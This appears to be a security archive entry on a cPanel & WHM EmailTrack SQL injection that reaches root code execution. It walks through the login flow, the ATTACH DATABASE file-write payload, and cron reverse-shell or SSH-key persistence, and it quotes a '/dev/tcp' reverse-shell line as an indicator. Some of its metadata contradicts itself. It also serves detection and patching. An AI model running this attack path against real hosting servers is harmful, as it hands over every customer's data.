cPanel & WHM EmailTrack SQL Injection to Root RCE (CVE-2026-67401)
Published: 2026-11-25 • Researcher: axedos (PoC author); reported by Ali Mustafa (rz1027) and abed1526 per cPanel credit; vendor: cPanel / WebPros
- Severity
- Critical
- CVE
- CVE-2026-67401
- Category
- web
- Affected product
- cPanel & WHM (EmailTrack email-statistics functionality)
- Affected versions
- All supported builds before the September 8, 2026 patch: below 11.110.0.143, 11.134.0.55, 11.136.0.39, 11.138.0.4 and 11.138.1.9 (WP Squared), per the NVD version ranges
- Disclosed
- 2026-11-25
- Patch status
- Unpatched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-67401
- https://support.cpanel.net/hc/en-us/articles/43187903921559-Security-CVE-2026-67401-SQL-Injection-Vulnerability-in-cPanel-s-EmailTrack-Functionality-September-8-2026
- https://github.com/axedos/CVE-2026-67401
- https://thehackernews.com/2026/09/new-cpanel-flaw-lets-hosting-account.html
- https://www.indusface.com/blog/cve-2026-67401-cpanel-emailtrack-sql-injection/
- https://vuldb.com/cve/CVE-2026-67401
- https://support.cpanel.net/hc/en-us/articles/1500004959421-How-do-I-update-cPanel-WHM
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-09-09 |
| Author / Researcher | axedos (PoC author); reported by Ali Mustafa (rz1027) and abed1526 per cPanel credit; vendor: cPanel / WebPros |
| CVE / Advisory | CVE-2026-67401 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.9 (CVSS v3.0, CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| Status | PoC |
| Tags | SQLi, cPanel, WHM, EmailTrack, root-RCE, arbitrary-file-write, SQLite-ATTACH, authenticated, shared-hosting, cron-persistence |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | cPanel & WHM (EmailTrack email-statistics functionality) |
| Versions Affected | All supported builds before the September 8, 2026 patch: below 11.110.0.143, 11.134.0.55, 11.136.0.39, 11.138.0.4 and 11.138.1.9 (WP Squared), per the NVD version ranges |
| Language / Platform | Perl backend (Cpanel::DeliveryReporter) using an SQLite database; Linux x86_64 server; Python 3 client |
| Authentication Required | Yes — a valid cPanel account with mail privileges (or a stolen cpsession cookie and security token) |
| Network Access Required | Yes — HTTPS to the cPanel service on port 2083 (or WHM on 2087) |
Summary
CVE-2026-67401 is a SQL injection in cPanel & WHM’s EmailTrack module, the component that records email delivery and search statistics. An authenticated hosting account with mail privileges can inject SQL into a query that the panel executes as root, and can use SQLite’s ATTACH DATABASE statement to create an arbitrary file with attacker-controlled content on the server. cPanel says this ultimately lets the account holder run code as root, collapsing the isolation between a customer account and the provider-controlled machine. The public PoC in this entry reconstructs a plausible exploitation path, but its author states it was never confirmed against a real target.
Vulnerability Details
Root Cause
Per the PoC author’s reconstruction, the EmailTrack search handler builds a SQLite query in Cpanel::DeliveryReporter and appends a trailing SQL comment (-- ) to the statement in a debug path. The function receives an untrusted search parameter (the PoC uses sender), and a newline in that value ends the comment line and starts a new SQL statement that is executed with the privileges of the panel backend process — root. Because SQLite is used rather than a networked database, the injected statement can call ATTACH DATABASE to create a file at an arbitrary path, then CREATE TABLE / INSERT / DETACH to write arbitrary bytes into it. cPanel’s advisory confirms an SQL injection in EmailTrack leading to root code execution but does not publish the vulnerable statement, parameter, or the exact file-write mechanism; treat the specific query shape above as the PoC author’s hypothesis, not vendor-confirmed detail.
Attack Vector
The attacker needs an authenticated cPanel session with mail privileges. The PoC logs in through the cPanel HTTPS service (/login/?login_only=1) to obtain a cpsession cookie and a cpsessXXXXXXXX security token, then sends a POST to /<token>/json-api/cpanel with cpanel_jsonapi_apiversion=2, cpanel_jsonapi_module=EmailTrack, cpanel_jsonapi_func=search and the malicious sender value. The injected SQL attaches a database file at a root-writable path (for example /etc/cron.d/cpanel_update or /root/.ssh/authorized_keys) and writes the attacker’s payload into it.
Impact
Arbitrary file creation as root, which the PoC turns into root code execution in two ways: writing a cron.d entry that calls back to an attacker listener every minute, or appending an SSH public key to root’s authorized_keys. On a shared hosting server this means a single customer account can take over the entire machine — reading every account’s data, modifying databases and files, and moving into other systems. CVSS v3.0 scores it 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) for that scope change from a low-privileged account to the host.
Environment / Lab Setup
OS: Linux x86_64 (cPanel & WHM server; Lab: VM or disposable test server)
Target: cPanel & WHM pre-patch (PoC author's stated build: 11.138.0.3;
unverified — see Notes)
Attacker: Linux (Kali/Ubuntu) with Python 3, reachable from the target
Tools: python3, requests, netcat listener, curl (for manual replay)Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
- Prepare a listener (reverse-shell mode) — start
nc -lvnp 443on the attacker host so the cron job spawned on the target has somewhere to connect. - Authenticate — the PoC sends
POST /login/?login_only=1withuserandpass; on success it takes thecpsessioncookie andsecurity_tokenfrom the JSON response, or extractscpsessXXXXXXXXfrom the redirectLocationheader. Alternatively supply--cookieand--tokento reuse an existing session. - Build the injected payload — the PoC emits
char(...)-encoded SQL so no quotes or special characters are needed on the wire:x, newline,ATTACH DATABASE char(...) AS z; CREATE TABLE IF NOT EXISTS z.t(v TEXT); INSERT INTO z.t VALUES(char(...)); DETACH z; --. In cron mode the file path defaults to/etc/cron.d/cpanel_updateand the content is a one-line cron job running a bash reverse shell; in SSH-key mode the path is/root/.ssh/authorized_keysand the content is the supplied public key. - Deliver — the payload is POSTed as the
senderparameter to/<token>/json-api/cpanelalong with the EmailTrack JSON API parameters, over HTTPS with certificate verification disabled. - Trigger and verify — the cron entry runs every 60 seconds and connects back to the listener; in SSH-key mode, log in as root over SSH with the matching private key.
--dry-runprints an equivalent curl command for a manual check.
Exploit Code
See
poc.pyin this folder (upstreamaxedos/CVE-2026-67401).
| |
Expected Output
| |
Message sizes vary; success is a root shell arriving on the listener within about a minute, or a root SSH login when using the key-drop mode.
Detection & Indicators of Compromise
- cPanel access/API logs showing EmailTrack JSON API calls (
cpanel_jsonapi_module=EmailTrack&cpanel_jsonapi_func=search) whosesendervalue contains newlines,ATTACH DATABASE,CREATE TABLE,DETACH,char(sequences, or SQL comment markers. - New or unexpected files with root ownership in
/etc/cron.d/,/root/.ssh/authorized_keys,/var/spool/cron/root, or other system paths, especially files whose content is a single cron line. - Cron jobs invoking
bash -i >& /dev/tcp/<ip>/<port> 0>&1, or outbound connections from the cPanel host to unusual external addresses on port 443 at one-minute intervals. - cPanel account logins from unusual source addresses followed immediately by EmailTrack API calls — the exploit needs credentials, so check authentication logs and session-token use.
- Unexpected
ATTACH/DETACHdatabase activity, stray.dbfiles, or SQLite error strings in cPanel’s error logs around EmailTrack.
SIEM / IDS rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Update the cPanel & WHM release line to a fixed build — 11.110.0.143, 11.134.0.55, 11.136.0.39, 11.138.0.4, or WP Squared 11.138.1.9 (or later). Run /usr/local/cpanel/scripts/upcp --force as root, or update via WHM. |
| Workaround | cPanel’s advisory lists no interim mitigation. Where an immediate upgrade is impossible, restrict access to the cPanel/WHM ports to trusted networks and review which accounts hold mail privileges. |
| Config Hardening | Audit cPanel accounts with mail privileges, enforce MFA and strong passwords on panel logins, restrict 2083/2087 to admin networks, monitor account-level API use, and treat the host as compromised if an unpatched server shows the indicators above (patching does not remove an already-planted cron entry or SSH key). |
References
- CVE-2026-67401 — NVD
- cPanel advisory — SQL Injection in EmailTrack (September 8, 2026)
- Source PoC — axedos/CVE-2026-67401
- The Hacker News — New cPanel Flaw Lets a Hosting Account With Mail Privileges Run Code as Root
- Indusface — CVE-2026-67401: SQL Injection in cPanel’s EmailTrack
- VulDB — CVE-2026-67401
- cPanel — How do I update cPanel & WHM
- CISA KEV catalog
Notes
Auto-ingested from https://github.com/axedos/CVE-2026-67401 on 2026-11-25.
Review verdict: real exploit code, not a detector or scanner. poc.py is a self-contained client that authenticates, builds the SQLi/ATTACH file-write payload, delivers it to the EmailTrack JSON API, and supports cron reverse-shell or SSH-key persistence. It is retained as a PoC rather than Weaponized because the upstream README explicitly says it has not been tested on a real target and was assembled from public information and basic diffing; the file header’s “Tested on cPanel 11.138.0.3” line contradicts that statement and was not independently confirmed here. No exploit code was executed during archiving.
Limitations: the vulnerable query and parameter are not documented by the vendor, so the payload shape (newline escaping a -- comment in Cpanel::DeliveryReporter) is the author’s hypothesis and may not match the patched code path; the cPanel advisory publishes no technical mechanics; success depends on the target build being pre-patch and on EmailTrack being reachable from the account’s mail privileges. The char() encoding keeps the payload free of quotes but produces large bodies.
License: Apache License 2.0 (upstream LICENSE copied into this entry). Files archived with attribution for authorized security research only. Use against systems you own or have explicit written permission to test.
| |